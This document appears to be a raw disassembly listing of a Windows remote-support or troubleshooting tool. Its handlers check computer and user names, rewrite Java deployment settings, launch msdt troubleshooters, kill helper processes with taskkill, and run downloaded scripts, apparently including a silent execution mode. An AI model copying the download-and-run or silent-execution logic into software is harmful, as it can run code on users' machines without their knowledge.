lea rcx, [rsp + 0x2a60]
call sub.mfc140u.dll_CD2DPathGeometry::Detach
mov r8, rax
xor r14d, r14d
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor edx, edx
lea rcx, [rsp + 0x2a60]
call fcn.140040160
mov r8d, eax
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
nop
lea rcx, [rsp + 0x2a60]
call fcn.140040020
nop
lea rcx, [rsp + 0x228]
jmp 0x14009cc67
lea rdx, str.CheckComputerNameAndLoggedInUserName
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
js 0x1400a3f55
mov dword [rsp + COleDispatchException::~COleDispatchException], 0x101
lea rdx, [rsp + 0x558]
lea rcx, [rsp + 0xff00]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
lea rdx, [rsp + 0xff00]
lea rcx, [rsp + 0x4a8]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__1]
nop
lea rcx, [rsp + 0x378]
call fcn.1400ff890
nop
lea rcx, [rsp + 0x378]
call qword [sym.imp.mfc140u.dll_CHtmlView::LoadFromResource]
lea rcx, [rsp + 0x378]
call qword [sym.imp.mfc140u.dll_CDumpContext::operator___1]
mov rdx, rax
lea rcx, [rsp + 0x4a8]
call qword [sym.imp.mfc140u.dll_Ordinal_2903]
test eax, eax
je 0x1400a3e32
lea rdx, str.__are_different._Do_you_want_to_change_Computer_Name_same_as_User_Name_to_resolve_this_error_
lea rcx, [rsp + 0xa68]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rdx, str.__and_User_Name__
lea rcx, [rsp + 0xa60]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea r8, [rsp + 0x4a8]
lea rdx, str.Your_Computer_Name__
lea rcx, [rsp + 0x1700]
call fcn.14009c1e0
nop
lea r8, [rsp + 0xa60]
mov rdx, rax
lea rcx, [rsp + 0x16f8]
call fcn.140006490
nop
lea r8, [rsp + 0x378]
mov rdx, rax
lea rcx, [rsp + 0x16f0]
call fcn.140006490
nop
lea r8, [rsp + 0xa68]
mov rdx, rax
lea rcx, [rsp + 0x16e8]
call fcn.140006490
nop
mov rdx, rax
lea rcx, [0x1401e96b0]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x16e8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x16f0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x16f8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x1700]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xa60]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xa68]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
mov sil, 1
jmp 0x1400a3f33
lea rdx, str.__are_same._Click_on_NEXT_STEP
lea rcx, [rsp + 0xa78]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rdx, str.__and_User_Name__
lea rcx, [rsp + 0xa70]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea r8, [rsp + 0x4a8]
lea rdx, str.Your_Computer_Name__
lea rcx, [rsp + 0x1720]
call fcn.14009c1e0
nop
lea r8, [rsp + 0xa70]
mov rdx, rax
lea rcx, [rsp + 0x1718]
call fcn.140006490
nop
lea r8, [rsp + 0x378]
mov rdx, rax
lea rcx, [rsp + 0x1710]
call fcn.140006490
nop
lea r8, [rsp + 0xa78]
mov rdx, rax
lea rcx, [rsp + 0x1708]
call fcn.140006490
nop
mov rdx, rax
lea rcx, [0x1401e96b0]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1708]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x1710]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x1718]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x1720]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xa70]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xa78]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
xor sil, sil
lea rcx, [rsp + 0x378]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x4a8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
jmp 0x1400acb92
xor r8d, r8d
lea rdx, str.addSSL2ToJava
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
xor r8d, r8d
lea rcx, [rsp + 0x50]
test eax, eax
js 0x1400a4211
lea rdx, [0x14015eb18]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov ebx, eax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
sub eax, ebx
lea r8d, [rax - 1]
lea rdx, [rsp + 0x1728]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_12600]
nop
mov rdx, rax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1728]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
mov edx, 0x29
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_COleControl::ReleaseCaches]
mov r8d, eax
lea rdx, [rsp + 0x1730]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CStringList::InsertBefore]
nop
mov rdx, rax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1730]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rdx, [0x140191d38]
lea rcx, [rsp + reloc.mfc140u.dll_CPaneDivider::CPaneDivider]
call fcn.1400ff820
nop
lea rdx, str.SunJavaDeploymentdeployment.properties
lea rcx, [rsp + reloc.mfc140u.dll_CPaneDivider::CPaneDivider]
call qword [sym.imp.mfc140u.dll_COleCurrency::operator_]
lea rcx, [rsp + 0x23e0]
call sub.mfc140u.dll_CEnumFormatEtc::CEnumFormatEtc
nop
lea rcx, [rsp + 0x550]
call qword [sym.imp.mfc140u.dll_Ordinal_296]
nop
lea rcx, [rsp + reloc.mfc140u.dll_CPaneDivider::CPaneDivider]
call qword [sym.imp.mfc140u.dll_CDumpContext::operator___1]
mov rdx, rax
xor r8d, r8d
lea rcx, [rsp + 0x23e0]
call sub.mfc140u.dll_CResetPropExchange::ExchangePersistentProp
test eax, eax
je 0x1400a41de
lea rcx, [rsp + reloc.mfc140u.dll_CPaneDivider::CPaneDivider]
call qword [sym.imp.mfc140u.dll_CDumpContext::operator___1]
mov rcx, rax
lea rdx, [0x14015699c]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__wfopen]
mov rbx, rax
test rax, rax
je 0x1400a4137
mov r8, rax
mov edx, 0x3e8
lea rcx, [rsp + 0x10530]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgetws]
test rax, rax
je 0x1400a4137
nop dword [rax]
nop dword [rax + rax]
lea rdx, [rsp + 0x10530]
lea rcx, [rsp + 0x1738]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__1]
nop
mov rdx, rax
lea rcx, [rsp + 0x550]
call qword [sym.imp.mfc140u.dll_Ordinal_1667]
nop
lea rcx, [rsp + 0x1738]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rdx, [0x14015f258]
lea rcx, [rsp + 0x550]
call qword [sym.imp.mfc140u.dll_COleCurrency::operator]
mov r8, rbx
mov edx, 0x3e8
lea rcx, [rsp + 0x10530]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgetws]
test rax, rax
jne 0x1400a40d0
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CDumpContext::operator___1]
mov rdx, rax
xor r8d, r8d
lea rcx, [rsp + 0x550]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
jns 0x1400a41d9
lea rcx, [rsp + reloc.mfc140u.dll_CPaneDivider::CPaneDivider]
call qword [sym.imp.mfc140u.dll_CDumpContext::operator___1]
mov rcx, rax
lea rdx, [0x14015f1c4]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__wfopen]
mov rbx, rax
test rax, rax
je 0x1400a41c5
lea r8, [0x1401569d8]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x1740]
call fcn.14007b460
mov rcx, rax
call qword [sym.imp.mfc140u.dll_CDumpContext::operator___1]
mov rcx, rax
mov rdx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputws]
lea rcx, [rsp + 0x1740]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov sil, 1
jmp 0x1400a41e1
xor sil, sil
lea rcx, [rsp + 0x550]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x23e0]
call sub.mfc140u.dll_CDockSite::CDockSite
nop
lea rcx, [rsp + reloc.mfc140u.dll_CPaneDivider::CPaneDivider]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
jmp 0x1400acb92
lea rdx, str.runScriptFileDownloaded
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
xor r8d, r8d
lea rcx, [rsp + 0x50]
test eax, eax
js 0x1400a4553
lea rdx, [0x14015eb18]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov ebx, eax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
sub eax, ebx
lea r8d, [rax - 1]
lea rdx, [rsp + 0x1748]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_12600]
nop
mov rdx, rax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1748]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
xor r8d, r8d
lea rdx, [0x14015ed0c]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov ebx, eax
mov r8d, eax
lea rdx, [rsp + 0x650]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CStringList::InsertBefore]
nop
mov rdx, r14
lea rcx, [rsp + 0x178]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
nop
xor r8d, r8d
lea rdx, str.runScriptFileDownloaded
lea rcx, [rsp + 0x178]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
js 0x1400a42f5
xor r8d, r8d
lea rdx, [0x14015ed0c]
lea rcx, [rsp + 0x178]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov ebx, eax
lea rcx, [rsp + 0x178]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
sub eax, ebx
lea r8d, [rax - 1]
lea rdx, [rsp + 0x1750]
lea rcx, [rsp + 0x178]
call qword [sym.imp.mfc140u.dll_Ordinal_12600]
nop
mov rdx, rax
lea rcx, [rsp + 0x178]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1750]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
xor r8d, r8d
lea rdx, [0x14015e858]
lea rcx, [rsp + 0x178]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov r8d, eax
lea rdx, [rsp + 0x648]
lea rcx, [rsp + 0x178]
call qword [sym.imp.mfc140u.dll_CStringList::InsertBefore]
nop
xor r8d, r8d
lea rdx, str.true
lea rcx, [rsp + 0x648]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
lea rdx, [rsp + 0x650]
test eax, eax
js 0x1400a43df
lea rax, [rsp + 0x1758]
mov qword [rsp + 0x58], rax
lea rcx, [rsp + 0x1758]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov rbx, rax
lea rdx, [rsp + 0x648]
lea rcx, [rsp + 0x1760]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
nop
xor r8d, r8d
mov rdx, rbx
mov rcx, rax
call fcn.140108df0
test al, al
je 0x1400a4424
jmp 0x1400a4421
lea rax, [rsp + 0x1768]
mov qword [rsp + 0x58], rax
lea rcx, [rsp + 0x1768]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov rbx, rax
lea rdx, [0x14016dd98]
lea rcx, [rsp + reloc.mfc140u.dll_Ordinal_6000]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
xor r8d, r8d
mov rdx, rbx
mov rcx, rax
call fcn.140108df0
mov sil, 1
lea rdx, [r15 + 0x248]
lea rcx, [rsp + 0xa80]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
nop
lea rcx, [rsp + 0xa80]
call qword [sym.imp.mfc140u.dll_CFileDialog::SetTemplate]
mov rcx, rax
lea rdx, str.showProgressDlg
call fcn.14000d8d0
movzx ebx, al
lea rcx, [rsp + 0xa80]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
test bl, bl
je 0x1400a4522
lea rax, [rsp + 0x1778]
mov qword [rsp + 0x58], rax
lea rdx, str.showProgressDlg
lea rcx, [rsp + 0x1778]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
mov rbx, rax
call sub.mfc140u.dll_AfxFieldText
nop
mov rdx, rbx
mov rcx, qword [rax + 8]
call fcn.1400afa70
call fcn.14010a220
test eax, eax
jne 0x1400a4522
xor sil, sil
lea rdx, str.Taskkill__IM_IAssistHelper.exe__F
lea rcx, [rsp + 0x1780]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
xor r8d, r8d
mov rdx, rax
lea rcx, [rsp + 0x1798]
call fcn.1400fc5a0
nop
lea rdx, str.Taskkill__IM_IAssistHelper64.exe__F
lea rcx, [rsp + 0x1788]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
xor r8d, r8d
mov rdx, rax
lea rcx, [rsp + 0x1790]
call fcn.1400fc5a0
lea rcx, [rsp + 0x1790]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x1798]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x648]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x178]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x650]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
jmp 0x1400acb92
lea rdx, str.RunTroubleshooter
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
xor r8d, r8d
lea rcx, [rsp + 0x50]
test eax, eax
js 0x1400a4a22
lea rdx, [0x14015eb18]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov ebx, eax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
sub eax, ebx
lea r8d, [rax - 1]
lea rdx, [rsp + 0x17a0]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_12600]
nop
mov rdx, rax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x17a0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
mov edx, 0x29
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_COleControl::ReleaseCaches]
mov r8d, eax
lea rdx, [rsp + 0x17a8]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CStringList::InsertBefore]
nop
mov rdx, rax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x17a8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rdx, [0x14014f8c8]
lea rcx, [rsp + 0x50]
call fcn.140042c70
test al, al
je 0x1400a4646
call sub.mfc140u.dll_AfxFieldText
mov rdx, qword [rax + 8]
add rdx, 0x2e8
lea rcx, [rsp + 0x17b0]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
lea rcx, [rsp + 0x17b0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rdx, str.test
lea rcx, [rsp + 0x180]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rdx, str.Audio_Troubleshooter
lea rcx, [rsp + 0x50]
call fcn.14000d8d0
test al, al
je 0x1400a46c0
lea rdx, str.Audio_Troubleshooter
lea rcx, [rsp + 0x17b8]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
mov r8, rax
xor edx, edx
lea rcx, [rsp + 0x31a0]
call fcn.14003af50
nop
lea rcx, [rsp + 0x31a0]
call sub.mfc140u.dll_CD2DPathGeometry::Detach
mov qword [rsp + 0x240], rax
lea rcx, [rsp + 0x31a0]
call fcn.14003b000
jmp 0x1400a49e4
lea rdx, str.Maintenance_Troubleshooter
lea rcx, [rsp + 0x50]
call fcn.14000d8d0
test al, al
je 0x1400a470a
lea rdx, str.msdt.exe__id_MaintenanceDiagnostic
lea rcx, [rsp + 0x17c0]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
xor r8d, r8d
mov rdx, rax
lea rcx, [rsp + 0x17c8]
call fcn.1400fc5a0
lea rcx, [rsp + 0x17c8]
jmp 0x1400a49de
lea rdx, str.Disk_Troubleshooter
lea rcx, [rsp + 0x50]
call fcn.14000d8d0
test al, al
je 0x1400a4754
lea rdx, str.cleanmgr
lea rcx, [rsp + 0x17d0]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
xor r8d, r8d
mov rdx, rax
lea rcx, [rsp + 0x17d8]
call fcn.1400fc5a0
lea rcx, [rsp + 0x17d8]
jmp 0x1400a49de
lea rdx, str.Networking_Troubleshooter
lea rcx, [rsp + 0x50]
call fcn.14000d8d0
test al, al
je 0x1400a47b8
lea rdx, str.Networking_Troubleshooter
lea rcx, [rsp + 0x17e0]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
mov r8, rax
xor edx, edx
lea rcx, [rsp + 0x3420]
call fcn.14003af50
nop
lea rcx, [rsp + 0x3420]
call sub.mfc140u.dll_CD2DPathGeometry::Detach
mov qword [rsp + 0x240], rax
lea rcx, [rsp + 0x3420]
call fcn.14003b000
jmp 0x1400a49e4
lea rdx, str.IE_Security_Troubleshooter
lea rcx, [rsp + 0x50]
call fcn.14000d8d0
test al, al
je 0x1400a4815
lea rdx, str.msdt.exe__id_IESecurityDiagnostic
lea rcx, [rsp + 0x17e8]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
xor r8d, r8d
mov rdx, rax
lea rcx, [rsp + 0x17f0]
call fcn.1400fc5a0
nop
mov rdx, rax
lea rcx, [rsp + 0x180]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x17f0]
jmp 0x1400a49de
lea rdx, str.Printer_Troubleshooter
lea rcx, [rsp + 0x50]
call fcn.14000d8d0
test al, al
je 0x1400a4872
lea rdx, str.msdt.exe__id_PrinterDiagnostic
lea rcx, [rsp + 0x17f8]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
xor r8d, r8d
mov rdx, rax
lea rcx, [rsp + 0x1800]
call fcn.1400fc5a0
nop
mov rdx, rax
lea rcx, [rsp + 0x180]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1800]
jmp 0x1400a49de
lea rdx, str.Power_Troubleshooter
lea rcx, [rsp + 0x50]
call fcn.14000d8d0
test al, al
je 0x1400a48cf
lea rdx, str.msdt.exe__id_PowerDiagnostic
lea rcx, [rsp + 0x1808]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
xor r8d, r8d
mov rdx, rax
lea rcx, [rsp + 0x1810]
call fcn.1400fc5a0
nop
mov rdx, rax
lea rcx, [rsp + 0x180]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1810]
jmp 0x1400a49de
lea rdx, str.Search_Troubleshooter
lea rcx, [rsp + 0x50]
call fcn.14000d8d0
test al, al
je 0x1400a492c
lea rdx, str.msdt.exe__id_SearchDiagnostic
lea rcx, [rsp + 0x1818]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
xor r8d, r8d
mov rdx, rax
lea rcx, [rsp + 0x1820]
call fcn.1400fc5a0
nop
mov rdx, rax
lea rcx, [rsp + 0x180]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1820]
jmp 0x1400a49de
lea rdx, str.Hardware_Troubleshooter
lea rcx, [rsp + 0x50]
call fcn.14000d8d0
test al, al
je 0x1400a4986
lea rdx, str.msdt.exe__id_DeviceDiagnostic
lea rcx, [rsp + 0x1828]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
xor r8d, r8d
mov rdx, rax
lea rcx, [rsp + 0x1830]
call fcn.1400fc5a0
nop
mov rdx, rax
lea rcx, [rsp + 0x180]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1830]
jmp 0x1400a49de
lea rdx, str.Bluetooth_Troubleshooter
lea rcx, [rsp + 0x50]
call fcn.14000d8d0
test al, al
je 0x1400a49e4
lea rdx, str.msdt.exe__id_BluetoothDiagnostic
lea rcx, [rsp + 0x1838]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
xor r8d, r8d
mov rdx, rax
lea rcx, [rsp + 0x1840]
call fcn.1400fc5a0
nop
mov rdx, rax
lea rcx, [rsp + 0x180]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1840]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rdx, [0x14014f8c8]
lea rcx, [rsp + 0x180]
call fcn.140042c70
test al, al
jne 0x1400a4a0c
cmp qword [rsp + 0x240], 0
jne 0x1400a4a0c
mov sil, 1
jmp 0x1400a4a0f
xor sil, sil
lea rcx, [rsp + 0x180]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
jmp 0x1400acb92
lea rdx, str.isExeAlreadyRunning
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
xor r8d, r8d
lea rcx, [rsp + 0x50]
test eax, eax
js 0x1400a4aff
lea rdx, [0x14015eb18]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov ebx, eax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
sub eax, ebx
lea r8d, [rax - 1]
lea rdx, [rsp + 0x1848]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_12600]
nop
mov rdx, rax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1848]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
mov edx, 0x29
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_COleControl::ReleaseCaches]
mov r8d, eax
lea rdx, [rsp + 0x1850]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CStringList::InsertBefore]
nop
mov rdx, rax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1850]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x1858]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov edx, 0xffffffff
mov rcx, rax
call fcn.1400f3620
cmp al, 1
sete sil
jmp 0x1400acb92
lea rdx, str.SilentSolutionExecution
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
js 0x1400a5045
mov sil, 1
lea rcx, [rsp + 0xab8]
